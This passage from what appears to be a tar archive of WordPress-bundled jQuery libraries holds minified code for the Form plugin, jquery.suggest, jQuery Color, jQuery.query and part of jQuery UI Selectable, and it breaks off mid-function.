a,n,o,i=T.body||T.documentElement,s=(p.responseText=i?i.innerHTML:null,p.responseXML=T.XMLDocument||T,e&&(c.dataType="xml"),p.getResponseHeader=function(e){return{"content-type":c.dataType}[e.toLowerCase()]},i&&(p.status=Number(i.getAttribute("status"))||p.status,p.statusText=i.getAttribute("statusText")||p.statusText),(c.dataType||"").toLowerCase()),u=/(json|script|text)/.test(s);u||c.textarea?(a=T.getElementsByTagName("textarea")[0])?(p.responseText=a.value,p.status=Number(a.getAttribute("status"))||p.status,p.statusText=a.getAttribute("statusText")||p.statusText):u&&(n=T.getElementsByTagName("pre")[0],o=T.getElementsByTagName("body")[0],n?p.responseText=n.textContent||n.innerText:o&&(p.responseText=o.textContent||o.innerText)):"xml"===s&&!p.responseXML&&p.responseText&&(p.responseXML=k(p.responseText));try{b=A(p,s,c)}catch(e){t="parsererror",p.error=r=e||t}}catch(e){C("error caught: ",e),t="error",p.error=r=e||t}p.aborted&&(C("upload aborted"),t=null),"success"===(t=p.status?200<=p.status&&p.status<300||304===p.status?"success":"error":t)?(c.success&&c.success.call(c.context,b,"success",p),g.resolve(p.responseText,"success",p),l&&O.event.trigger("ajaxSuccess",[p,c])):t&&(void 0===r&&(r=p.statusText),c.error&&c.error.call(c.context,p,t,r),g.reject(p,"error",r),l&&O.event.trigger("ajaxError",[p,c,r])),l&&O.event.trigger("ajaxComplete",[p,c]),l&&!--O.active&&O.event.trigger("ajaxStop"),c.complete&&c.complete.call(c.context,p,t),j=!0,c.timeout&&clearTimeout(h),setTimeout(function(){c.iframeTarget?f.attr("src",c.iframeSrc):f.remove(),p.responseXML=null},100)}}}var k=O.parseXML||function(e,t){return window.ActiveXObject?((t=new ActiveXObject("Microsoft.XMLDOM")).async="false",t.loadXML(e)):t=(new DOMParser).parseFromString(e,"text/xml"),t&&t.documentElement&&"parsererror"!==t.documentElement.nodeName?t:null},D=O.parseJSON||function(e){return window.eval("("+e+")")},A=function(e,t,r){var a=e.getResponseHeader("content-type")||"",n=("xml"===t||!t)&&0<=a.indexOf("xml"),e=n?e.responseXML:e.responseText;return n&&"parsererror"===e.documentElement.nodeName&&O.error&&O.error("parsererror"),"string"==typeof(e=r&&r.dataFilter?r.dataFilter(e,t):e)&&(("json"===t||!t)&&0<=a.indexOf("json")?e=D(e):("script"===t||!t)&&0<=a.indexOf("javascript")&&O.globalEval(e)),e};return g}},O.fn.ajaxForm=function(e,t,r,a){var n;return("string"==typeof e||!1===e&&0<arguments.length)&&(e={url:e,data:t,dataType:r},"function"==typeof a&&(e.success=a)),(e=e||{}).delegation=e.delegation&&O.isFunction(O.fn.on),e.delegation||0!==this.length?e.delegation?(O(document).off("submit.form-plugin",this.selector,o).off("click.form-plugin",this.selector,i).on("submit.form-plugin",this.selector,e,o).on("click.form-plugin",this.selector,e,i),this):(e.beforeFormUnbind&&e.beforeFormUnbind(this,e),this.ajaxFormUnbind().on("submit.form-plugin",e,o).on("click.form-plugin",e,i)):(n={s:this.selector,c:this.context},!O.isReady&&n.s?(C("DOM not ready, queuing ajaxForm"),O(function(){O(n.s,n.c).ajaxForm(e)})):C("terminating; zero elements found by selector"+(O.isReady?"":" (DOM not ready)")),this)},O.fn.ajaxFormUnbind=function(){return this.off("submit.form-plugin click.form-plugin")},O.fn.formToArray=function(e,t,r){var a=[];if(0===this.length)return a;var n,o,i,s,u,c,l,f=this[0],d=this.attr("id"),p=(p=e||void 0===f.elements?f.getElementsByTagName("*"):f.elements)&&O.makeArray(p);if(!(p=d&&(e||/(Edge|Trident)\//.test(navigator.userAgent))&&(d=O(':input[form="'+d+'"]').get()).length?(p||[]).concat(d):p)||!p.length)return a;for(n=0,u=(p=O.isFunction(r)?O.map(p,r):p).length;n<u;n++)if((l=(s=p[n]).name)&&!s.disabled)if(e&&f.clk&&"image"===s.type)f.clk===s&&(a.push({name:l,value:O(s).val(),type:s.type}),a.push({name:l+".x",value:f.clk_x},{name:l+".y",value:f.clk_y}));else if((i=O.fieldValue(s,!0))&&i.constructor===Array)for(t&&t.push(s),o=0,c=i.length;o<c;o++)a.push({name:l,value:i[o]});else if(h.fileapi&&"file"===s.type){t&&t.push(s);var m=s.files;if(m.length)for(o=0;o<m.length;o++)a.push({name:l,value:m[o],type:s.type});else a.push({name:l,value:"",type:s.type})}else null!=i&&(t&&t.push(s),a.push({name:l,value:i,type:s.type,required:s.required}));return!e&&f.clk&&(l=(r=(d=O(f.clk))[0]).name)&&!r.disabled&&"image"===r.type&&(a.push({name:l,value:d.val()}),a.push({name:l+".x",value:f.clk_x},{name:l+".y",value:f.clk_y})),a},O.fn.formSerialize=function(e){return O.param(this.formToArray(e))},O.fn.fieldSerialize=function(n){var o=[];return this.each(function(){var e=this.name;if(e){var t=O.fieldValue(this,n);if(t&&t.constructor===Array)for(var r=0,a=t.length;r<a;r++)o.push({name:e,value:t[r]});else null!=t&&o.push({name:this.name,value:t})}}),O.param(o)},O.fn.fieldValue=function(e){for(var t=[],r=0,a=this.length;r<a;r++){var n=this[r],n=O.fieldValue(n,e);null==n||n.constructor===Array&&!n.length||(n.constructor===Array?O.merge(t,n):t.push(n))}return t},O.fieldValue=function(e,t){var r=e.name,a=e.type,n=e.tagName.toLowerCase();if((t=void 0===t?!0:t)&&(!r||e.disabled||"reset"===a||"button"===a||("checkbox"===a||"radio"===a)&&!e.checked||("submit"===a||"image"===a)&&e.form&&e.form.clk!==e||"select"===n&&-1===e.selectedIndex))return null;if("select"!==n)return O(e).val().replace(d,"\r\n");t=e.selectedIndex;if(t<0)return null;for(var o=[],i=e.options,s="select-one"===a,u=s?t+1:i.length,c=s?t:0;c<u;c++){var l=i[c];if(l.selected&&!l.disabled){var f=(f=l.value)||(l.attributes&&l.attributes.value&&!l.attributes.value.specified?l.text:l.value);if(s)return f;o.push(f)}}return o},O.fn.clearForm=function(e){return this.each(function(){O("input,select,textarea",this).clearFields(e)})},O.fn.clearFields=O.fn.clearInputs=function(r){var a=/^(?:color|date|datetime|email|month|number|password|range|search|tel|text|time|url|week)$/i;return this.each(function(){var e=this.type,t=this.tagName.toLowerCase();a.test(e)||"textarea"===t?this.value="":"checkbox"===e||"radio"===e?this.checked=!1:"select"===t?this.selectedIndex=-1:"file"===e?/MSIE/.test(navigator.userAgent)?O(this).replaceWith(O(this).clone(!0)):O(this).val(""):r&&(!0===r&&/hidden/.test(e)||"string"==typeof r&&O(this).is(r))&&(this.value="")})},O.fn.resetForm=function(){return this.each(function(){var t=O(this),e=this.tagName.toLowerCase();switch(e){case"input":this.checked=this.defaultChecked;case"textarea":return this.value=this.defaultValue,!0;case"option":case"optgroup":var r=t.parents("select");return r.length&&r[0].multiple?"option"===e?this.selected=this.defaultSelected:t.find("option").resetForm():r.resetForm(),!0;case"select":return t.find("option").each(function(e){if(this.selected=this.defaultSelected,this.defaultSelected&&!t[0].multiple)return t[0].selectedIndex=e,!1}),!0;case"label":var r=O(t.attr("for")),a=t.find("input,select,textarea");return r[0]&&a.unshift(r[0]),a.resetForm(),!0;case"form":return"function"!=typeof this.reset&&("object"!=typeof this.reset||this.reset.nodeType)||this.reset(),!0;default:return t.find("form,input,label,select,textarea").resetForm(),!0}})},O.fn.enable=function(e){return void 0===e&&(e=!0),this.each(function(){this.disabled=!e})},O.fn.selected=function(t){return void 0===t&&(t=!0),this.each(function(){var e=this.type;"checkbox"===e||"radio"===e?this.checked=t:"option"===this.tagName.toLowerCase()&&(e=O(this).parent("select"),t&&e[0]&&"select-one"===e[0].type&&e.find("option").selected(!1),this.selected=t)})},O.fn.ajaxSubmit.debug=!1});�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/suggest.js��������������������������������������������������������������������������������0000644�����������������00000015517�14717703502�0010535 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* * jquery.suggest 1.1b - 2007-08-06 * Patched by Mark Jaquith with Alexander Dick's "multiple items" patch to allow for auto-suggesting of more than one tag before submitting * See: http://www.vulgarisoip.com/2007/06/29/jquerysuggest-an-alternative-jquery-based-autocomplete-library/#comment-7228 * * Uses code and techniques from following libraries: * 1. http://www.dyve.net/jquery/?autocomplete * 2. http://dev.jquery.com/browser/trunk/plugins/interface/iautocompleter.js * * All the new stuff written by Peter Vulgaris (www.vulgarisoip.com) * Feel free to do whatever you want with this file * */ (function($) { $.suggest = function(input, options) { var $input, $results, timeout, prevLength, cache, cacheSize; $input = $(input).attr("autocomplete", "off"); $results = $("<ul/>"); timeout = false; // hold timeout ID for suggestion results to appear prevLength = 0; // last recorded length of $input.val() cache = []; // cache MRU list cacheSize = 0; // size of cache in chars (bytes?) $results.addClass(options.resultsClass).appendTo('body'); resetPosition(); $(window) .on( 'load', resetPosition ) // just in case user is changing size of page while loading .on( 'resize', resetPosition ); $input.blur(function() { setTimeout(function() { $results.hide() }, 200); }); $input.keydown(processKey); function resetPosition() { // requires jquery.dimension plugin var offset = $input.offset(); $results.css({ top: (offset.top + input.offsetHeight) + 'px', left: offset.left + 'px' }); } function processKey(e) { // handling up/down/escape requires results to be visible // handling enter/tab requires that AND a result to be selected if ((/27$|38$|40$/.test(e.keyCode) && $results.is(':visible')) || (/^13$|^9$/.test(e.keyCode) && getCurrentResult())) { if (e.preventDefault) e.preventDefault(); if (e.stopPropagation) e.stopPropagation(); e.cancelBubble = true; e.returnValue = false; switch(e.keyCode) { case 38: // up prevResult(); break; case 40: // down nextResult(); break; case 9: // tab case 13: // return selectCurrentResult(); break; case 27: // escape $results.hide(); break; } } else if ($input.val().length != prevLength) { if (timeout) clearTimeout(timeout); timeout = setTimeout(suggest, options.delay); prevLength = $input.val().length; } } function suggest() { var q = $.trim($input.val()), multipleSepPos, items; if ( options.multiple ) { multipleSepPos = q.lastIndexOf(options.multipleSep); if ( multipleSepPos != -1 ) { q = $.trim(q.substr(multipleSepPos + options.multipleSep.length)); } } if (q.length >= options.minchars) { cached = checkCache(q); if (cached) { displayItems(cached['items']); } else { $.get(options.source, {q: q}, function(txt) { $results.hide(); items = parseTxt(txt, q); displayItems(items); addToCache(q, items, txt.length); }); } } else { $results.hide(); } } function checkCache(q) { var i; for (i = 0; i < cache.length; i++) if (cache[i]['q'] == q) { cache.unshift(cache.splice(i, 1)[0]); return cache[0]; } return false; } function addToCache(q, items, size) { var cached; while (cache.length && (cacheSize + size > options.maxCacheSize)) { cached = cache.pop(); cacheSize -= cached['size']; } cache.push({ q: q, size: size, items: items }); cacheSize += size; } function displayItems(items) { var html = '', i; if (!items) return; if (!items.length) { $results.hide(); return; } resetPosition(); // when the form moves after the page has loaded for (i = 0; i < items.length; i++) html += '<li>' + items[i] + '</li>'; $results.html(html).show(); $results .children('li') .mouseover(function() { $results.children('li').removeClass(options.selectClass); $(this).addClass(options.selectClass); }) .click(function(e) { e.preventDefault(); e.stopPropagation(); selectCurrentResult(); }); } function parseTxt(txt, q) { var items = [], tokens = txt.split(options.delimiter), i, token; // parse returned data for non-empty items for (i = 0; i < tokens.length; i++) { token = $.trim(tokens[i]); if (token) { token = token.replace( new RegExp(q, 'ig'), function(q) { return '<span class="' + options.matchClass + '">' + q + '</span>' } ); items[items.length] = token; } } return items; } function getCurrentResult() { var $currentResult; if (!$results.is(':visible')) return false; $currentResult = $results.children('li.' + options.selectClass); if (!$currentResult.length) $currentResult = false; return $currentResult; } function selectCurrentResult() { $currentResult = getCurrentResult(); if ($currentResult) { if ( options.multiple ) { if ( $input.val().indexOf(options.multipleSep) != -1 ) { $currentVal = $input.val().substr( 0, ( $input.val().lastIndexOf(options.multipleSep) + options.multipleSep.length ) ) + ' '; } else { $currentVal = ""; } $input.val( $currentVal + $currentResult.text() + options.multipleSep + ' ' ); $input.focus(); } else { $input.val($currentResult.text()); } $results.hide(); $input.trigger('change'); if (options.onSelect) options.onSelect.apply($input[0]); } } function nextResult() { $currentResult = getCurrentResult(); if ($currentResult) $currentResult .removeClass(options.selectClass) .next() .addClass(options.selectClass); else $results.children('li:first-child').addClass(options.selectClass); } function prevResult() { var $currentResult = getCurrentResult(); if ($currentResult) $currentResult .removeClass(options.selectClass) .prev() .addClass(options.selectClass); else $results.children('li:last-child').addClass(options.selectClass); } } $.fn.suggest = function(source, options) { if (!source) return; options = options || {}; options.multiple = options.multiple || false; options.multipleSep = options.multipleSep || ","; options.source = source; options.delay = options.delay || 100; options.resultsClass = options.resultsClass || 'ac_results'; options.selectClass = options.selectClass || 'ac_over'; options.matchClass = options.matchClass || 'ac_match'; options.minchars = options.minchars || 2; options.delimiter = options.delimiter || '\n'; options.onSelect = options.onSelect || false; options.maxCacheSize = options.maxCacheSize || 65536; this.each(function() { new $.suggest(this, options); }); return this; }; })(jQuery); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/jquery.color.min.js�����������������������������������������������������������������������0000644�����������������00000015607�14717703502�0012272 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! jQuery Color v2.2.0 http://github.com/jquery/jquery-color | jquery.org/license */ !function(r,n){"function"==typeof define&&define.amd?define(["jquery"],n):"object"==typeof exports?module.exports=n(require("jquery")):n(r.jQuery)}(this,function(l,f){var c,t={},n=t.toString,p=/^([\-+])=\s*(\d+\.?\d*)/,r=[{re:/rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(r){return[r[1],r[2],r[3],r[4]]}},{re:/rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(r){return[2.55*r[1],2.55*r[2],2.55*r[3],r[4]]}},{re:/#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})?/,parse:function(r){return[parseInt(r[1],16),parseInt(r[2],16),parseInt(r[3],16),r[4]?(parseInt(r[4],16)/255).toFixed(2):1]}},{re:/#([a-f0-9])([a-f0-9])([a-f0-9])([a-f0-9])?/,parse:function(r){return[parseInt(r[1]+r[1],16),parseInt(r[2]+r[2],16),parseInt(r[3]+r[3],16),r[4]?(parseInt(r[4]+r[4],16)/255).toFixed(2):1]}},{re:/hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,space:"hsla",parse:function(r){return[r[1],r[2]/100,r[3]/100,r[4]]}}],d=l.Color=function(r,n,t,e){return new l.Color.fn.parse(r,n,t,e)},h={rgba:{props:{red:{idx:0,type:"byte"},green:{idx:1,type:"byte"},blue:{idx:2,type:"byte"}}},hsla:{props:{hue:{idx:0,type:"degrees"},saturation:{idx:1,type:"percent"},lightness:{idx:2,type:"percent"}}}},b={byte:{floor:!0,max:255},percent:{max:1},degrees:{mod:360,floor:!0}},i=d.support={},e=l("<p>")[0],g=l.each;function x(r){return null==r?r+"":"object"==typeof r?t[n.call(r)]||"object":typeof r}function y(r,n,t){var e=b[n.type]||{};return null==r?t||!n.def?null:n.def:(r=e.floor?~~r:parseFloat(r),isNaN(r)?n.def:e.mod?(r+e.mod)%e.mod:Math.min(e.max,Math.max(0,r)))}function s(i){var s=d(),u=s._rgba=[];return i=i.toLowerCase(),g(r,function(r,n){var t,e=n.re.exec(i),o=e&&n.parse(e),a=n.space||"rgba";if(o)return t=s[a](o),s[h[a].cache]=t[h[a].cache],u=s._rgba=t._rgba,!1}),u.length?("0,0,0,0"===u.join()&&l.extend(u,c.transparent),s):c[i]}function u(r,n,t){return 6*(t=(t+1)%1)<1?r+(n-r)*t*6:2*t<1?n:3*t<2?r+(n-r)*(2/3-t)*6:r}e.style.cssText="background-color:rgba(1,1,1,.5)",i.rgba=-1<e.style.backgroundColor.indexOf("rgba"),g(h,function(r,n){n.cache="_"+r,n.props.alpha={idx:3,type:"percent",def:1}}),l.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(r,n){t["[object "+n+"]"]=n.toLowerCase()}),d.fn=l.extend(d.prototype,{parse:function(o,r,n,t){if(o===f)return this._rgba=[null,null,null,null],this;(o.jquery||o.nodeType)&&(o=l(o).css(r),r=f);var a=this,e=x(o),i=this._rgba=[];return r!==f&&(o=[o,r,n,t],e="array"),"string"===e?this.parse(s(o)||c._default):"array"===e?(g(h.rgba.props,function(r,n){i[n.idx]=y(o[n.idx],n)}),this):"object"===e?(g(h,o instanceof d?function(r,n){o[n.cache]&&(a[n.cache]=o[n.cache].slice())}:function(r,t){var e=t.cache;g(t.props,function(r,n){if(!a[e]&&t.to){if("alpha"===r||null==o[r])return;a[e]=t.to(a._rgba)}a[e][n.idx]=y(o[r],n,!0)}),a[e]&&l.inArray(null,a[e].slice(0,3))<0&&(null==a[e][3]&&(a[e][3]=1),t.from&&(a._rgba=t.from(a[e])))}),this):void 0},is:function(r){var o=d(r),a=!0,i=this;return g(h,function(r,n){var t,e=o[n.cache];return e&&(t=i[n.cache]||n.to&&n.to(i._rgba)||[],g(n.props,function(r,n){if(null!=e[n.idx])return a=e[n.idx]===t[n.idx]})),a}),a},_space:function(){var t=[],e=this;return g(h,function(r,n){e[n.cache]&&t.push(r)}),t.pop()},transition:function(r,i){var n=(l=d(r))._space(),t=h[n],e=0===this.alpha()?d("transparent"):this,s=e[t.cache]||t.to(e._rgba),u=s.slice(),l=l[t.cache];return g(t.props,function(r,n){var t=n.idx,e=s[t],o=l[t],a=b[n.type]||{};null!==o&&(null===e?u[t]=o:(a.mod&&(a.mod/2<o-e?e+=a.mod:a.mod/2<e-o&&(e-=a.mod)),u[t]=y((o-e)*i+e,n)))}),this[n](u)},blend:function(r){if(1===this._rgba[3])return this;var n=this._rgba.slice(),t=n.pop(),e=d(r)._rgba;return d(l.map(n,function(r,n){return(1-t)*e[n]+t*r}))},toRgbaString:function(){var r="rgba(",n=l.map(this._rgba,function(r,n){return null!=r?r:2<n?1:0});return 1===n[3]&&(n.pop(),r="rgb("),r+n.join()+")"},toHslaString:function(){var r="hsla(",n=l.map(this.hsla(),function(r,n){return null==r&&(r=2<n?1:0),n&&n<3&&(r=Math.round(100*r)+"%"),r});return 1===n[3]&&(n.pop(),r="hsl("),r+n.join()+")"},toHexString:function(r){var n=this._rgba.slice(),t=n.pop();return r&&n.push(~~(255*t)),"#"+l.map(n,function(r){return 1===(r=(r||0).toString(16)).length?"0"+r:r}).join("")},toString:function(){return 0===this._rgba[3]?"transparent":this.toRgbaString()}}),d.fn.parse.prototype=d.fn,h.hsla.to=function(r){if(null==r[0]||null==r[1]||null==r[2])return[null,null,null,r[3]];var n=r[0]/255,t=r[1]/255,e=r[2]/255,o=r[3],a=Math.max(n,t,e),i=Math.min(n,t,e),s=a-i,u=a+i,l=.5*u,f=i===a?0:n===a?60*(t-e)/s+360:t===a?60*(e-n)/s+120:60*(n-t)/s+240,c=0==s?0:l<=.5?s/u:s/(2-u);return[Math.round(f)%360,c,l,null==o?1:o]},h.hsla.from=function(r){if(null==r[0]||null==r[1]||null==r[2])return[null,null,null,r[3]];var n=r[0]/360,t=r[1],e=r[2],o=r[3],a=e<=.5?e*(1+t):e+t-e*t,i=2*e-a;return[Math.round(255*u(i,a,n+1/3)),Math.round(255*u(i,a,n)),Math.round(255*u(i,a,n-1/3)),o]},g(h,function(u,r){var t=r.props,i=r.cache,s=r.to,l=r.from;d.fn[u]=function(r){if(s&&!this[i]&&(this[i]=s(this._rgba)),r===f)return this[i].slice();var n,e=x(r),o="array"===e||"object"===e?r:arguments,a=this[i].slice();return g(t,function(r,n){var t=o["object"===e?r:n.idx];null==t&&(t=a[n.idx]),a[n.idx]=y(t,n)}),l?((n=d(l(a)))[i]=a,n):d(a)},g(t,function(i,s){d.fn[i]||(d.fn[i]=function(r){var n,t=x(r),e="alpha"===i?this._hsla?"hsla":"rgba":u,o=this[e](),a=o[s.idx];return"undefined"===t?a:("function"===t&&(t=x(r=r.call(this,a))),null==r&&s.empty?this:("string"===t&&(n=p.exec(r))&&(r=a+parseFloat(n[2])*("+"===n[1]?1:-1)),o[s.idx]=r,this[e](o)))})})}),d.hook=function(r){var n=r.split(" ");g(n,function(r,a){l.cssHooks[a]={set:function(r,n){var t,e,o="";if("transparent"!==n&&("string"!==x(n)||(t=s(n)))){if(n=d(t||n),!i.rgba&&1!==n._rgba[3]){for(e="backgroundColor"===a?r.parentNode:r;(""===o||"transparent"===o)&&e&&e.style;)try{o=l.css(e,"backgroundColor"),e=e.parentNode}catch(r){}n=n.blend(o&&"transparent"!==o?o:"_default")}n=n.toRgbaString()}try{r.style[a]=n}catch(r){}}},l.fx.step[a]=function(r){r.colorInit||(r.start=d(r.elem,a),r.end=d(r.end),r.colorInit=!0),l.cssHooks[a].set(r.elem,r.start.transition(r.end,r.pos))}})},d.hook("backgroundColor borderBottomColor borderLeftColor borderRightColor borderTopColor color columnRuleColor outlineColor textDecorationColor textEmphasisColor"),l.cssHooks.borderColor={expand:function(t){var e={};return g(["Top","Right","Bottom","Left"],function(r,n){e["border"+n+"Color"]=t}),e}},c=l.Color.names={aqua:"#00ffff",black:"#000000",blue:"#0000ff",fuchsia:"#ff00ff",gray:"#808080",green:"#008000",lime:"#00ff00",maroon:"#800000",navy:"#000080",olive:"#808000",purple:"#800080",red:"#ff0000",silver:"#c0c0c0",teal:"#008080",white:"#ffffff",yellow:"#ffff00",transparent:[null,null,null,0],_default:"#ffffff"}});�������������������������������������������������������������������������������������������������������������������������js/jquery/jquery.query.js���������������������������������������������������������������������������0000644�����������������00000007156�14717703502�0011537 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * jQuery.query - Query String Modification and Creation for jQuery * Written by Blair Mitchelmore (blair DOT mitchelmore AT gmail DOT com) * Licensed under the WTFPL (http://sam.zoy.org/wtfpl/). * Date: 2009/8/13 * * @author Blair Mitchelmore * @version 2.2.3 * **/ !function(e){var t=e.separator||"&",l=!1!==e.spaces,n=(e.suffix,!1!==e.prefix?!0===e.hash?"#":"?":""),i=!1!==e.numbers;jQuery.query=new function(){function c(e,t){return null!=e&&null!==e&&(!t||e.constructor==t)}function u(e){for(var t,n=/\[([^[]*)\]/g,r=/^([^[]+)(\[.*\])?$/.exec(e),e=r[1],u=[];t=n.exec(r[2]);)u.push(t[1]);return[e,u]}function o(e,t,n){var r=t.shift();if("object"!=typeof e&&(e=null),""===r)if(c(e=e||[],Array))e.push(0==t.length?n:o(null,t.slice(0),n));else if(c(e,Object)){for(var u=0;null!=e[u++];);e[--u]=0==t.length?n:o(e[u],t.slice(0),n)}else(e=[]).push(0==t.length?n:o(null,t.slice(0),n));else if(r&&r.match(/^\s*[0-9]+\s*$/))(e=e||[])[i=parseInt(r,10)]=0==t.length?n:o(e[i],t.slice(0),n);else{if(!r)return n;var i=r.replace(/^\s*|\s*$/g,"");if(c(e=e||{},Array)){for(var s={},u=0;u<e.length;++u)s[u]=e[u];e=s}e[i]=0==t.length?n:o(e[i],t.slice(0),n)}return e}function r(e){var n=this;return n.keys={},e.queryObject?jQuery.each(e.get(),function(e,t){n.SET(e,t)}):n.parseNew.apply(n,arguments),n}return r.prototype={queryObject:!0,parseNew:function(){var n=this;return n.keys={},jQuery.each(arguments,function(){var e=""+this;e=(e=e.replace(/^[?#]/,"")).replace(/[;&]$/,""),l&&(e=e.replace(/[+]/g," ")),jQuery.each(e.split(/[&;]/),function(){var e=decodeURIComponent(this.split("=")[0]||""),t=decodeURIComponent(this.split("=")[1]||"");e&&(i&&(/^[+-]?[0-9]+\.[0-9]*$/.test(t)?t=parseFloat(t):/^[+-]?[1-9][0-9]*$/.test(t)&&(t=parseInt(t,10))),n.SET(e,t=!t&&0!==t||t))})}),n},has:function(e,t){e=this.get(e);return c(e,t)},GET:function(e){if(!c(e))return this.keys;for(var e=u(e),t=e[0],n=e[1],r=this.keys[t];null!=r&&0!=n.length;)r=r[n.shift()];return"number"==typeof r?r:r||""},get:function(e){e=this.GET(e);return c(e,Object)?jQuery.extend(!0,{},e):c(e,Array)?e.slice(0):e},SET:function(e,t){var n,r;return e.includes("__proto__")||e.includes("constructor")||e.includes("prototype")||(t=c(t)?t:null,n=(e=u(e))[0],e=e[1],r=this.keys[n],this.keys[n]=o(r,e.slice(0),t)),this},set:function(e,t){return this.copy().SET(e,t)},REMOVE:function(e,t){if(t){var n=this.GET(e);if(c(n,Array)){for(tval in n)n[tval]=n[tval].toString();var r=$.inArray(t,n);if(!(0<=r))return;e=(e=n.splice(r,1))[r]}else if(t!=n)return}return this.SET(e,null).COMPACT()},remove:function(e,t){return this.copy().REMOVE(e,t)},EMPTY:function(){var n=this;return jQuery.each(n.keys,function(e,t){delete n.keys[e]}),n},load:function(e){var t=e.replace(/^.*?[#](.+?)(?:\?.+)?$/,"$1"),n=e.replace(/^.*?[?](.+?)(?:#.+)?$/,"$1");return new r(e.length==n.length?"":n,e.length==t.length?"":t)},empty:function(){return this.copy().EMPTY()},copy:function(){return new r(this)},COMPACT:function(){return this.keys=function r(e){var u="object"==typeof e?c(e,Array)?[]:{}:e;return"object"==typeof e&&jQuery.each(e,function(e,t){if(!c(t))return!0;var n;n=u,t=r(t),c(n,Array)?n.push(t):n[e]=t}),u}(this.keys),this},compact:function(){return this.copy().COMPACT()},toString:function(){function u(e,t){function r(e){return(t&&""!=t?[t,"[",e,"]"]:[e]).join("")}jQuery.each(e,function(e,t){var n;"object"==typeof t?u(t,r(e)):(n=i,e=r(e),c(t=t)&&!1!==t&&(e=[s(e)],!0!==t&&(e.push("="),e.push(s(t))),n.push(e.join(""))))})}var e=[],i=[],s=function(e){return e+="",e=encodeURIComponent(e),e=l?e.replace(/%20/g,"+"):e};return u(this.keys),0<i.length&&e.push(n),e.push(i.join(t)),e.join("")}},new r(location.search,location.hash)}}(jQuery.query||{}); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/selectable.min.js����������������������������������������������������������������������0000644�����������������00000010613�14717703502�0012346 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Selectable 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./mouse","./core"],e):e(jQuery)}(function(u){"use strict";return u.widget("ui.selectable",u.ui.mouse,{version:"1.13.1",options:{appendTo:"body",autoRefresh:!0,distance:0,filter:"*",tolerance:"touch",selected:null,selecting:null,start:null,stop:null,unselected:null,unselecting:null},_create:function(){var s=this;this._addClass("ui-selectable"),this.dragged=!1,this.refresh=function(){s.elementPos=u(s.element[0]).offset(),s.selectees=u(s.options.filter,s.element[0]),s._addClass(s.selectees,"ui-selectee"),s.selectees.each(function(){var e=u(this),t=e.offset(),t={left:t.left-s.elementPos.left,top:t.top-s.elementPos.top};u.data(this,"selectable-item",{element:this,$element:e,left:t.left,top:t.top,right:t.left+e.outerWidth(),bottom:t.top+e.outerHeight(),startselected:!1,selected:e.hasClass("ui-selected"),selecting:e.hasClass("ui-selecting"),unselecting:e.hasClass("ui-unselecting")})})},this.refresh(),this._mouseInit(),this.helper=u("<div>"),this._addClass(this.helper,"ui-selectable-helper")},_destroy:function(){this.selectees.removeData("selectable-item"),this._mouseDestroy()},_mouseStart:function(s){var l=this,e=this.options;this.opos=[s.pageX,s.pageY],this.elementPos=u(this.element[0]).offset(),this.options.disabled||(this.selectees=u(e.filter,this.element[0]),this._trigger("start",s),u(e.appendTo).append(this.helper),this.helper.css({left:s.pageX,top:s.pageY,width:0,height:0}),e.autoRefresh&&this.refresh(),this.selectees.filter(".ui-selected").each(function(){var e=u.data(this,"selectable-item");e.startselected=!0,s.metaKey||s.ctrlKey||(l._removeClass(e.$element,"ui-selected"),e.selected=!1,l._addClass(e.$element,"ui-unselecting"),e.unselecting=!0,l._trigger("unselecting",s,{unselecting:e.element}))}),u(s.target).parents().addBack().each(function(){var e,t=u.data(this,"selectable-item");if(t)return e=!s.metaKey&&!s.ctrlKey||!t.$element.hasClass("ui-selected"),l._removeClass(t.$element,e?"ui-unselecting":"ui-selected")._addClass(t.$element,e?"ui-selecting":"ui-unselecting"),t.unselecting=!e,t.selecting=e,(t.selected=e)?l._trigger("selecting",s,{selecting:t.element}):l._trigger("unselecting",s,{unselecting:t.element}),!1}))},_mouseDrag:function(l){var e,i,n,c,a,r,o;if(this.dragged=!0,!this.options.disabled)return i=this,n=this.options,c=this.opos[0],a=this.opos[1],r=l.pageX,o=l.pageY,r<c&&(e=r,r=c,c=e),o<a&&(e=o,o=a,a=e),this.helper.css({left:c,top:a,width:r-c,height:o-a}),this.selectees.each(function(){var 